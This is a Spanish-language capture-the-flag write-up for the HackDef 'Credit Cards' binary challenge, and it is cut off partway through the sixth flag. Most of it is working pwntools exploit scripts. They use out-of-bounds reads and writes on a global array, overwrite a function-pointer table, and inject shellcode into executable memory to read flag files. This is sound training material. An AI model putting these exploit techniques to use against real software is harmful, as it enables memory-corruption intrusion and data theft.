xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackDef

Credit Cards



Analysis


Para este reto se otorga un archivo zip que contiene tanto el binario como todo el código fuente del proyecto lo que hace que sea mas sencillo analizarlo, también se añaden los archivos de docker que definen la configuración cuando se lanza el reto.

❯ tree
.
├── Dockerfile
├── banner_fail
├── build.sh
├── chal
│   ├── Makefile
│   ├── chal
│   ├── chal.cpp
│   ├── check_functions.cpp
│   ├── check_functions.h
│   ├── hackdef.cpp
│   ├── hackdef.h
│   ├── libc.so.6 -> libchecks.so
│   ├── libchecks.so
│   ├── libhackdef.so
│   ├── print_flag.cpp
│   └── print_flag_docker
├── service.conf
├── start.sh
├── stop.sh
└── wrapper

2 directories, 19 files

El Dockerfile nos muestra que se copian varios archivos, los binarios, las librerías necesarias y las flags, tanto las individuales así como las específicas del equipo.

❯ cat Dockerfile
FROM ubuntu:latest

RUN apt-get -qq update && apt-get install -qq --no-install-recommends xinetd libssl3

RUN groupadd -g 1001 ctf
RUN useradd -m -u 1001 -g 1001 -s /bin/bash ctf

COPY service.conf /service.conf
COPY banner_fail /banner_fail
COPY wrapper /wrapper

COPY chal/chal /home/ctf/chal
RUN chown ctf:ctf /home/ctf/chal

COPY chal/libchecks.so /usr/lib/x86_64-linux-gnu/
COPY chal/libhackdef.so /usr/lib/x86_64-linux-gnu/

COPY chal/print_flag_docker /print_flag
RUN chmod 755 /print_flag
RUN chmod u+s /print_flag

COPY flags/flag_00.txt /
COPY flags/flag_01.txt /
COPY flags/flag_02.txt /
COPY flags/flag_03.txt /
COPY flags/flag_04.txt /
COPY flags/flag_05.txt /
RUN chmod 444 /flag_0*.txt

COPY flags/flag_06.txt /root/
COPY flags/flag_ahaumx.txt /root/
COPY flags/flag_bluetm.txt /root/
COPY flags/flag_hackfc.txt /root/
COPY flags/flag_hawkss.txt /root/
COPY flags/flag_mylpwn.txt /root/
COPY flags/flag_pwndir.txt /root/
COPY flags/flag_snoopy.txt /root/
COPY flags/flag_takzac.txt /root/
COPY flags/flag_yaquic.txt /root/
RUN chmod 400 /root/flag_*.txt

EXPOSE 1380

USER ctf
CMD ["/usr/sbin/xinetd", "-filelog", "/dev/stderr", "-dontfork", "-f", "/service.conf"]

Ya que no correremos el proyecto de docker para hacer el exploit será necesario mover los archivos manualmente, iniciando por mover el archivo print_flag a / asignando a root como propietario y privilegios suid, luego movemos las librerías.

❯ ls -l /print_flag
-rwsr-xr-x 1 root root 50912 Oct 19 15:18 /print_flag

❯ ls -l /usr/lib/x86_64-linux-gnu/libchecks.so
-rwxr-xr-x 1 root root 900168 Oct 19 15:17 /usr/lib/x86_64-linux-gnu/libchecks.so

❯ ls -l /usr/lib/x86_64-linux-gnu/libhackdef.so
-rwxr-xr-x 1 root root 267520 Oct 19 15:17 /usr/lib/x86_64-linux-gnu/libhackdef.so

Luego movemos todas las flags al directorio /, excepto la flag 06 y las flags de los equipos ya que esas se mueven al directorio /root, en este caso como solo nos interesa la del equipo MyLittlePwny solo movemos la flag con nombre mylpwn.

❯ ls -l /flag_0*.txt
.rw-r--r-- root root 31 B Sun Oct 19 16:38:10 2025  /flag_00.txt
.rw-r--r-- root root 31 B Sun Oct 19 15:54:24 2025  /flag_01.txt
.rw-r--r-- root root 31 B Sun Oct 19 15:54:24 2025  /flag_02.txt
.rw-r--r-- root root 31 B Sun Oct 19 15:54:24 2025  /flag_03.txt
.rw-r--r-- root root 31 B Sun Oct 19 15:54:24 2025  /flag_04.txt
.rw-r--r-- root root 31 B Mon Oct 20 11:53:27 2025  /flag_05.txt

❯ cat /flag_0*.txt
hackdef{0_f4k3_fl4g_4_t35t1ng}
hackdef{1_f4k3_fl4g_4_t35t1ng}
hackdef{2_f4k3_fl4g_4_t35t1ng}
hackdef{3_f4k3_fl4g_4_t35t1ng}
hackdef{4_f4k3_fl4g_4_t35t1ng}
hackdef{5_f4k3_fl4g_4_t35t1ng}

❯ sudo ls -l /root/flag_*.txt
.rw-r--r-- root root 31 B Sat Nov  1 15:58:43 2025  /root/flag_06.txt
.rw-r--r-- root root 37 B Sun Nov  2 10:58:22 2025  /root/flag_mylpwn.txt

❯ sudo cat /root/flag_*.txt
hackdef{6_f4k3_fl4g_4_t35t1ng}
hackdef{mylpwn_f4k3_fl4g_4_t35t1ng}

Luego de hacer el setup, ejecutamos el binario y podemos ver un menú con varias opciones pero también un checker el cual parece ejecutarse periódicamente.

❯ ./chal
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> cnt_checker = 1
Checking... 550
OK

Ya que tenemos el código fuente en C podemos analizarlo directamente y no es necesario desensamblar el binario, iniciamos por la función main la cual se encarga de inicializar varios procesos y luego ejecuta de forma asincrónica varias funciones.

int main() {
    init_buffers();
    init_flagprocess();
    init_seccomp();
    init_handlers();
    init_flags();

    ignorar_signals();

    std::future<void> fut_flag_check = std::async(std::launch::async, service_flag_checker);

    std::future<void> fut = std::async(std::launch::async, service_checker);
    std::future<void> fut2 = std::async(std::launch::async, main_menu);

    fut.wait_for(std::chrono::seconds(30));

    return 0;
}

La primera función interesante es init_handlers, esta se encarga de llenar el arreglo handlers con una función del checker, hasta llenar las 1160 posiciones del arreglo.

#define NUM_CHECK_FUNCS 290 * 4

CheckFunc handlers[NUM_CHECK_FUNCS];

void init_handlers() {
    handlers[0] = fn_000;
    handlers[1] = fn_001;
    handlers[2] = fn_002;
    handlers[3] = fn_003;
    .........................
    handlers[1157] = fn_1157;
    handlers[1158] = fn_1158;
    handlers[1159] = fn_1159;
}

La función service_checker que se ejecuta elige de forma aleatoria la variable op entre las 1160 opciones posibles, luego llama a execute_check y espera un máximo de 100ms, si el resultado es True simplemente devuelve OK, si es False devuelve que algo no anda bien pero si pasa el timeout directamente cierra el programa.

#define NUM_CHECK_FUNCS 290 * 4
#define TIMEOUT_CHECK_FUNC 100

void service_checker() {
    int cnt_checks = 0;

    while (cnt_checks++ < 4) {
        std::cout << "cnt_checker = " << cnt_checks << std::endl;
        int op = randint(NUM_CHECK_FUNCS - 1);

        std::future<bool> fut = std::async(std::launch::async, execute_check, op);

        if (fut.wait_for(std::chrono::milliseconds(TIMEOUT_CHECK_FUNC)) == std::future_status::ready) {
            bool result = fut.get();

            if (result) {
                std::cout << "OK" << std::endl;
            } else {
                std::cout << "WA - Algo no anda bien. Te estare vigilando..." << std::endl;
                salir();
            }

        } else {
            std::cout << "Te descubri hacker!" << std::endl;
            salir();
        }

        std::this_thread::sleep_for(std::chrono::seconds(10));
    }

    puts("Bye!");
    salir();
}

La función execute_check toma el parámetro op elegido aleatoriamente para entrar en uno de los casos del switch, cada uno de los casos llama a un check que toma como argumento el valor del arreglo handlers en la posición que indica el caso.

bool execute_check(int op) {
    std::cout << "Checking... " << op << std::endl;

    switch (op) {
        case 0: return check_000(handlers[0]);
        case 1: return check_001(handlers[1]);
        case 2: return check_002(handlers[2]);
        .............................................
        case 1157: return check_1157(handlers[1157]);
        case 1158: return check_1158(handlers[1158]);
        case 1159: return check_1159(handlers[1159]);

        default:
            std::cout << "NO" << std::endl;
            salir();
    }

    return true;
}

Cada una de las funciones check toman como parámetro la función que se tomó del array y definen 5 argumentos de la a a la e asignándoles a cada uno un número entero diferentes para cada caso, luego de llamar a la función verifican que algunas variables tengan otros valores que define cada función y son diferentes a los originales, si no es así indicaría que no se llamó a la función y el programa se alteró.

#define TIMEOUT_CHECK_FUNC 160

bool check_000(CheckFunc check) {
    int a=397540806, b=808190108, c=948268558, d=403076592, e=488643755;
    std::future<void> fut = std::async(std::launch::async, check, &a, &b, &c, &d, &e);

    if (fut.wait_for(std::chrono::microseconds(TIMEOUT_CHECK_FUNC)) == std::future_status::ready) {
        if (b != 152045996) return false;
        if (c != 727562417) return false;
        if (d != 153545182) return false;

        return true;
    } else {
        return false;
    }
}

bool check_1159(CheckFunc check) {
    int a=852726792, b=398756715, c=1025465896, d=783751113, e=391710928;
    std::future<void> fut = std::async(std::launch::async, check, &a, &b, &c, &d, &e);

    if (fut.wait_for(std::chrono::microseconds(TIMEOUT_CHECK_FUNC)) == std::future_status::ready) {
        if (e != 898176514) return false;
        if (a != 117814948) return false;
        if (d != 87295856) return false;

        return true;
    } else {
        return false;
    }
}

Las funciones fn realmente son múy simples, toman cada uno de sus parámetros y modifican el valor de todas las variables, esto para la validación que vimos se hace en los checks, si se llama a cualquier otra función en el check los valores no coincidirán.

void fn_000(int *a, int *b, int *c, int *d, int *e) {
    *b = 152045996;
    *c = 727562417;
    *a = 333394009;
    *d = 153545182;
    *e = 460636857;
}

void fn_1159(int *a, int *b, int *c, int *d, int *e) {
    *b = 76210336;
    *c = 778987935;
    *d = 87295856;
    *a = 117814948;
    *e = 898176514;
}

Esta implementación busca que no se altere el flujo del programa eficientemente debido a su aleatoriedad y el poco tiempo asignado para los checks, esto último se usa como anti-debugging que hace que sea complicado depurar el programa.


Flag 0


Una vez entendimos el funcionamiento del checker analizaremos main_menu, este ejecuta un switch que llama a una función u otra dependiendo la opción elegida.

void main_menu() {
    bool op_leer = true;
    bool op_reporte = true;

    while (1) {
        int op = leer_opcion();

        switch (op) {
            case 1:
                registrar_tarjeta();
                break;

            case 2:
                registrar_NIP();
                break;

            case 3:
                if (op_leer) {
                    op_leer = false;
                    consultar_NIP();
                } else {
                    puts("No no no");
                }
                break;

             case 4:
                borrar_NIP();
                break;

            case 5:
                puts("Bye!");
                salir();
                return;

            case 0x52e6:
                if (op_reporte) {
                    op_reporte = false;
                    info_reporte();
                } else {
                    puts("No no no");
                }
                break;

            default:
                puts("Opcion incorrecta");
                return;
        }
    }
}

Si elegimos la opción 1 se ejecuta la función registrar_tarjeta, esta agrega la tarjeta que introducimos al arreglo tarjetas el cual tiene un máximo de 0x100.

std::string tarjetas[0x100];
int cnt_tarjetas = 0;

void registrar_tarjeta() {
    if (cnt_tarjetas == 0x100) {
        puts("Maximo de tarjetas alcanzado.");
        salir();
    }

    unsigned int idx = cnt_tarjetas++;

    if (idx < cnt_tarjetas) {
        std::cin >> tarjetas[idx];
        std::cout << "OK" << std::endl;
    } else {
        puts("Interesante...");
        salir();
    }
}

Pasamos al caso 2 que llama a registrar_NIP la cual se encarga de escribir un nip en una posición del array nip_cifrado que el usuario controla, encontramos la vulnerabilidad y es un Out-Of-Bounds que ocurre cuando ingresamos una posición fuera del arreglo, esto escribiría el nip introducido en otra parte de la memoria.

uint64_t nip_cifrado[0x100];

void registrar_NIP() {
    int idx = leer_idx();

    if (idx < cnt_tarjetas) {
        puts("Debes cifrar el NIP con AES-256-CBC usando la llave 'hackdef'.");
        puts("Luego obtienes el hash SHA-512.");
        std::cout << "TAM DEL HASH: ";
        unsigned int n = 0;
        std::cin >> n;
        lee_basura_endl();

        if (n <= 0x1000) {
            std::cout << "NIP: ";
            fread(&nip_cifrado[idx], 1, n, stdin);
            std::cout << "OK" << std::endl;
        } else {
            std::cout << "tam no valido" << std::endl;
            salir();
        }
    }
}

En la opción 3 llama a consultar_NIP, existe la misma vulnerabilidad Out-Of-Bounds pero esta vez bajo una primitiva de lectura ya que la función se encarga de leer un secreto del arreglo nip_cifrado, sin embargo es necesario pasar una validación de autenticación como admin, pero las podemos ver en el código, así que es fácil.

void consultar_NIP() {
    puts("Admin requerido.");
    std::cout << "User: ";
    std::string user;
    std::cin >> user;
    std::cout << "Pass: ";
    std::string pass;
    std::cin >> pass;

    if (user == "admin" && pass == "MM\x11N") {
        int idx = leer_idx();
        std::cout << "SECRETO: " << nip_cifrado[idx] << std::endl;
    } else {
        std::cout << "NEL" << std::endl;
    }
}

La función init_flags se encarga de almacenar en la variable global flag_00 el contenido del archivo flag_00.txt que es por donde iniciaremos la explotación.

char flag_00[0x30];

void init_flags() {
    std::string tmp;
    leer_archivo("/flag_00.txt", tmp);
    strcpy(flag_00, tmp.c_str());
    strcpy(check_flag01, "NOMOSTRAR__FLAG");
}

La primitiva de lectura de la opción 3 lee a partir del arreglo nip_cifrado, lo que haremos será salirnos con posiciones negativas y leer memoria fuera del arreglo, ya que nos interesa la flag_00 podemos calcular su posición restando la distancia al arreglo y dividiendolo por el tamaño del qword que es 8, esto nos devuelve -1036.

pwndbg> x/s &flag_00
0x5555555bc840 <flag_00>:       "hackdef{0_f4k3_fl4g_4_t35t1ng}"
pwndbg> p/d (&flag_00 - &nip_cifrado) / 8
$1 = -1036
pwndbg>

Iniciamos automatizando este proceso, lo primero es usar la opción 3 que permite la lectura del arreglo nip_cifrado, pero requiere enviar la contraseña de admin.

#!/usr/bin/python3
from pwn import process

shell = process("./chal")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.interactive()

Ya que sabemos la posición calculada hacia flag_00 podemos enviar -1036 y nos devuelve un entero que si lo empaquetamos representa la cadena hackdef{.

❯ python3 exploit.py
[+] Starting local process './chal': pid 2213
[*] Switching to interactive mode
OK
> $ -1036
SECRETO: 8891905996262433128
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> $

❯ python3 -q
>>> from pwn import p64
>>> p64(8891905996262433128)
b'hackdef{'
>>>

Así que la idea es simple, leer de 8 en 8 bytes subiendo la posición hasta que la cadena contenga el caracter } lo que significaría el final de la flag, al ejecutar el exploit podemos ver el contenido la primera flag que obtuvimos con el OOB.

#!/usr/bin/python3
from pwn import process, p64, log

flag = b""

for i in range(-1036, -1030, 1):
    shell = process("./chal", level="error")

    shell.sendlineafter(b"> ", b"3")
    shell.sendlineafter(b": ", b"admin")
    shell.sendlineafter(b": ", b"MM\x11N")

    shell.sendlineafter(b"> ", str(i).encode())
    shell.recvuntil(b": ")

    flag += p64(int(shell.recvline().strip()))

    if b"}" in flag:
        flag = flag.split(b"}")[0] + b"}"
        break

log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[*] Flag: hackdef{0_f4k3_fl4g_4_t35t1ng}


Flag 1


char check_flag01[0x10];

void init_flags() {
    std::string tmp;
    leer_archivo("/flag_00.txt", tmp);
    strcpy(flag_00, tmp.c_str());
    strcpy(check_flag01, "NOMOSTRAR__FLAG");
}

void service_flag_checker() {
    std::this_thread::sleep_for(std::chrono::seconds(5));

    if (!memcmp(check_flag01, "MOSTRAR_FLAG_SI\0", 0x10)){
        imprimir_flag("/flag_01.txt");
    } else if (addr_fn000 == fn_000) {
        imprimir_flag("/flag_02.txt");
    } else if (handlers[0] != fn_000) {
        imprimir_flag("/flag_03.txt");
    }
}

pwndbg> x/s &check_flag01
0x5555555bc870 <check_flag01>:  "NOMOSTRAR__FLAG"
pwndbg> p/d (&check_flag01 - &nip_cifrado) / 8
$1 = -1030
pwndbg>

#!/usr/bin/python3
from pwn import gdb

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-1030")
shell.sendlineafter(b": ", b"16")
shell.sendlineafter(b": ", b"MOSTRAR_FLAG_SI\x00")

shell.interactive()

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 3771
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal']
[*] Switching to interactive mode
OK
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> $

pwndbg> x/s &check_flag01
0x5e7f3d479870 <check_flag01>:  "MOSTRAR_FLAG_SI"
pwndbg>

#!/usr/bin/python3
from pwn import process, log

shell = process("./chal")

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-1030")
shell.sendlineafter(b": ", b"16")
shell.sendlineafter(b": ", b"MOSTRAR_FLAG_SI\x00")

shell.recvuntil(b"> ")
flag = shell.recvline_contains(b"hackdef")

log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 2500
[*] Flag: hackdef{1_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 2500)


Flag 2


CheckFunc addr_fn000 = 0;

void service_flag_checker() {
    std::this_thread::sleep_for(std::chrono::seconds(5));

    if (!memcmp(check_flag01, "MOSTRAR_FLAG_SI\0", 0x10)){
        imprimir_flag("/flag_01.txt");
    } else if (addr_fn000 == fn_000) {
        imprimir_flag("/flag_02.txt");
    } else if (handlers[0] != fn_000) {
        imprimir_flag("/flag_03.txt");
    }
}

pwndbg> x/4gx &handlers
0x5555555ba400 <handlers>:      0x00007ffff7f840f9      0x00007ffff7f8414a
0x5555555ba410 <handlers+16>:   0x00007ffff7f8419b      0x00007ffff7f841ec
pwndbg> x/i 0x00007ffff7f840f9
   0x7ffff7f840f9 <_Z6fn_000PiS_S_S_S_>:        endbr64
pwndbg> p/d (&handlers - &nip_cifrado) / 8
$1 = -2196
pwndbg>

pwndbg> x/gx &addr_fn000
0x5555555bc880 <addr_fn000>:    0x0000000000000000
pwndbg> p/d (&addr_fn000 - &nip_cifrado) / 8
$2 = -1028
pwndbg>

#!/usr/bin/python3
from pwn import gdb, p64

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-2196")
shell.recvuntil(b": ")

fn_000 = int(shell.recvline().strip())

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-1028")
shell.sendlineafter(b": ", b"8")
shell.sendlineafter(b": ", p64(fn_000))

shell.interactive()

pwndbg> x/gx &addr_fn000
0x5acd81702880 <addr_fn000>:    0x0000769b3c8030f9
pwndbg> x/gx &handlers
0x5acd81700400 <handlers>:      0x0000769b3c8030f9
pwndbg> p/x &fn_000
$1 = 0x769b3c8030f9
pwndbg>

#!/usr/bin/python3
from pwn import process, p64, log

shell = process("./chal")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-2196")
shell.recvuntil(b": ")

addr_fn000 = int(shell.recvline().strip())

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-1028")
shell.sendlineafter(b": ", b"8")
shell.sendlineafter(b": ", p64(addr_fn000))

shell.recvuntil(b"> ")
flag = shell.recvline_contains(b"hackdef")

log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 2708
[*] Flag: hackdef{2_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 2708)


Flag 3


void service_flag_checker() {
    std::this_thread::sleep_for(std::chrono::seconds(5));

    if (!memcmp(check_flag01, "MOSTRAR_FLAG_SI\0", 0x10)){
        imprimir_flag("/flag_01.txt");
    } else if (addr_fn000 == fn_000) {
        imprimir_flag("/flag_02.txt");
    } else if (handlers[0] != fn_000) {
        imprimir_flag("/flag_03.txt");
    }
}

pwndbg> x/gx &handlers
0x5555555ba400 <handlers>:      0x00007ffff7f840f9
pwndbg> p/d (&handlers - &nip_cifrado) / 8
$1 = -2196
pwndbg> p/x &fn_000
$2 = 0x7ffff7f840f9
pwndbg>

#!/usr/bin/python3
from pwn import gdb

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", b"8")
shell.sendlineafter(b": ", b"A" * 8)

shell.interactive()

pwndbg> x/gx &handlers
0x637744cc5400 <handlers>:      0x4141414141414141
pwndbg> p/x &fn_000
$1 = 0x715ebd74e0f9
pwndbg>

#!/usr/bin/python3
from pwn import process, log

shell = process("./chal")

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", b"8")
shell.sendlineafter(b": ", b"A" * 8)

shell.recvuntil(b"> ")
flag = shell.recvline_contains(b"hackdef")

log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 2789
[*] Flag: hackdef{3_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 2789)


Flag 4


case 0x52e6:
    if (op_reporte) {
        op_reporte = false;
        info_reporte();
    } else {
        puts("No no no");
    }
    break;

#define TAM_SHELLCODE 0x1000

void info_reporte() {
    std::cout << "Levantando reporte..." << std::endl;
    std::cout << "Tam de reporte: " << std::endl;
    unsigned int n;
    std::cin >> n;

    if (n > TAM_SHELLCODE) {
        std::cout << "Reporte muy grande" << std::endl;
        salir();
    }

    void *mem = mmap(nullptr, n + 0x10, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (mem == MAP_FAILED) {
        std::cout << "Error al levantar reporte. Contacta admin" << std::endl;
        return;
    }

    std::cout << "Ingresa detalles:";
    lee_basura_endl();
    fread(mem, 1, n, stdin);

    std::cout << "Reporte enviado. Numero de seguimiento: " << (uint64_t) (mem) << std::endl;
    imprimir_flag("/flag_04.txt");
}

#!/usr/bin/python3
from pwn import process, log

shell = process("./chal")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", b"8")
shell.sendlineafter(b":", b"A" * 8)

flag = shell.recvline_contains(b"hackdef")

log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 3411
[*] Flag: hackdef{4_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 3411)


Flag 5


#define TAM_SHELLCODE 0x1000

void info_reporte() {
    std::cout << "Levantando reporte..." << std::endl;
    std::cout << "Tam de reporte: " << std::endl;
    unsigned int n;
    std::cin >> n;

    if (n > TAM_SHELLCODE) {
        std::cout << "Reporte muy grande" << std::endl;
        salir();
    }

    void *mem = mmap(nullptr, n + 0x10, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (mem == MAP_FAILED) {
        std::cout << "Error al levantar reporte. Contacta admin" << std::endl;
        return;
    }

    std::cout << "Ingresa detalles:";
    lee_basura_endl();
    fread(mem, 1, n, stdin);

    std::cout << "Reporte enviado. Numero de seguimiento: " << (uint64_t) (mem) << std::endl;
    imprimir_flag("/flag_04.txt");
}

#!/usr/bin/python3
from pwn import gdb, asm

shell = gdb.debug("./chal", "continue")

shellcode = asm("""
    int3
    nop
    nop
    nop
    nop
    nop
    nop
    nop
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)

shell.interactive()

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 4433
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal']
[*] Switching to interactive mode
OK
Reporte enviado. Numero de seguimiento: 124251023167488
hackdef{4_f4k3_fl4g_4_t35t1ng}
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> $

pwndbg> x/8i 124251023167488
   0x710172195000:      int3
   0x710172195001:      nop
   0x710172195002:      nop
   0x710172195003:      nop
   0x710172195004:      nop
   0x710172195005:      nop
   0x710172195006:      nop
   0x710172195007:      nop
pwndbg> vmmap 124251023167488
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x710172182000     0x710172183000 rw-p     1000   34000 /usr/lib/x86_64-linux-gnu/libhackdef.so
►   0x710172195000     0x710172196000 rwxp     1000       0 [anon_710172195] +0x0
    0x710172196000     0x710172198000 rw-p     2000       0 [anon_710172196]
pwndbg>

#!/usr/bin/python3
from pwn import gdb, asm, p64

shell = gdb.debug("./chal", "continue")

shellcode = asm("""
    int3
    nop
    nop
    nop
    nop
    nop
    nop
    nop
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.interactive()

pwndbg> x/10gx &handlers
0x573d8835a400 <handlers>:      0x00006ffc0d281000      0x00006ffc0d281000
0x573d8835a410 <handlers+16>:   0x00006ffc0d281000      0x00006ffc0d281000
0x573d8835a420 <handlers+32>:   0x00006ffc0d281000      0x00006ffc0d281000
0x573d8835a430 <handlers+48>:   0x00006ffc0d281000      0x00006ffc0d281000
0x573d8835a440 <handlers+64>:   0x00006ffc0d281000      0x00006ffc0d281000
pwndbg> x/8i 0x00006ffc0d281000
   0x6ffc0d281000:      int3
   0x6ffc0d281001:      nop
   0x6ffc0d281002:      nop
   0x6ffc0d281003:      nop
   0x6ffc0d281004:      nop
   0x6ffc0d281005:      nop
   0x6ffc0d281006:      nop
   0x6ffc0d281007:      nop
pwndbg>

pwndbg> c
Continuing.
0x00006ffc0d281001 in ?? ()
pwndbg> x/8i $rip-1
   0x6ffc0d281000:      int3
=> 0x6ffc0d281001:      nop
   0x6ffc0d281002:      nop
   0x6ffc0d281003:      nop
   0x6ffc0d281004:      nop
   0x6ffc0d281005:      nop
   0x6ffc0d281006:      nop
   0x6ffc0d281007:      nop
pwndbg>

void init_seccomp() {
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);

    if (!ctx) {
        perror("seccomp_init");
        exit(1);
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0) < 0) {
        perror("seccomp_rule_add(execve)");
        exit(1);
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0) < 0) {
        perror("seccomp_rule_add(execveat)");
        exit(1);
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0) < 0) {
        perror("seccomp_rule_add(fork)");
        exit(1);
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0) < 0) {
        perror("seccomp_rule_add(vfork)");
        exit(1);
    }

    if (seccomp_load(ctx) < 0) {
        perror("seccomp_load");
        seccomp_release(ctx);
        exit(1);
    }
}

#include <unistd.h>
#include <fcntl.h>

int main() {
    char buffer[64];

    int fd = open("/flag_05.txt", 0);

    read(fd, buffer, 64);
    write(1, buffer, 64);
}

shellcode = asm("""
    int3                        # breakpoint

    push 0x7478742e             # $rsp = &".txt"
    mov rax, 0x35305f67616c662f # $rax = "/flag_05"
    push rax                    # $rsp = &"/flag_05.txt"
    mov rdi, rsp                # $rdi = &"/flag_05.txt"
    cdq                         # $rdx = 0x0
    mov rsi, rdx                # $rsi = 0x0
    push 0x2                    # open()
    pop rax                     # $rax = open()
    syscall                     # syscall

    mov rdi, rax                # $rdi = fd
    mov rsi, rsp                # $rdi = $rsp
    push 0x40                   # 64 bytes
    pop rdx                     # $rdx = 64
    xor rax, rax                # $rax = read()
    syscall                     # syscall

    push 0x1                    # stoud
    pop rdi                     # $rdi = stdout
    mov rax, rdi                # $rax = write()
    syscall                     # syscall
""", arch="amd64")

0x00007d813ddf8001 in ?? ()
pwndbg> x/20i $rip
=> 0x7d813ddf8001:      push   0x7478742e
   0x7d813ddf8006:      movabs rax,0x35305f67616c662f
   0x7d813ddf8010:      push   rax
   0x7d813ddf8011:      mov    rdi,rsp
   0x7d813ddf8014:      cdq
   0x7d813ddf8015:      push   rdx
   0x7d813ddf8016:      pop    rsi
   0x7d813ddf8017:      push   0x2
   0x7d813ddf8019:      pop    rax
   0x7d813ddf801a:      syscall
   0x7d813ddf801c:      mov    rdi,rax
   0x7d813ddf801f:      mov    rsi,rsp
   0x7d813ddf8022:      push   0x40
   0x7d813ddf8024:      pop    rdx
   0x7d813ddf8025:      xor    rax,rax
   0x7d813ddf8028:      syscall
   0x7d813ddf802a:      push   0x1
   0x7d813ddf802c:      pop    rdi
   0x7d813ddf802d:      mov    rax,rdi
   0x7d813ddf8030:      syscall
pwndbg>

#!/usr/bin/python3
from pwn import process, asm, p64, log

shell = process("./chal")

shellcode = asm("""
    push 0x7478742e             # $rsp = &".txt"
    mov rax, 0x35305f67616c662f # $rax = "/flag_05"
    push rax                    # $rsp = &"/flag_05.txt"
    mov rdi, rsp                # $rdi = &"/flag_05.txt"
    cdq                         # $rdx = 0x0
    mov rsi, rdx                # $rsi = 0x0
    push 0x2                    # open()
    pop rax                     # $rax = open()
    syscall                     # syscall

    mov rdi, rax                # $rdi = fd
    mov rsi, rsp                # $rdi = $rsp
    push 0x40                   # 64 bytes
    pop rdx                     # $rdx = 64
    xor rax, rax                # $rax = read()
    syscall                     # syscall

    push 0x1                    # stoud
    pop rdi                     # $rdi = stdout
    mov rax, rdi                # $rax = write()
    syscall                     # syscall
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.recvline_contains(b"hackdef")
flag = shell.recvline_contains(b"hackdef")
log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 5383
[*] Flag: hackdef{5_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 5383)


Flag 6


void init_flagprocess() {
    int p2c[2];
    int c2p[2];

    if (pipe(p2c) == -1) die("pipe p2c");
    if (pipe(c2p) == -1) die("pipe c2p");

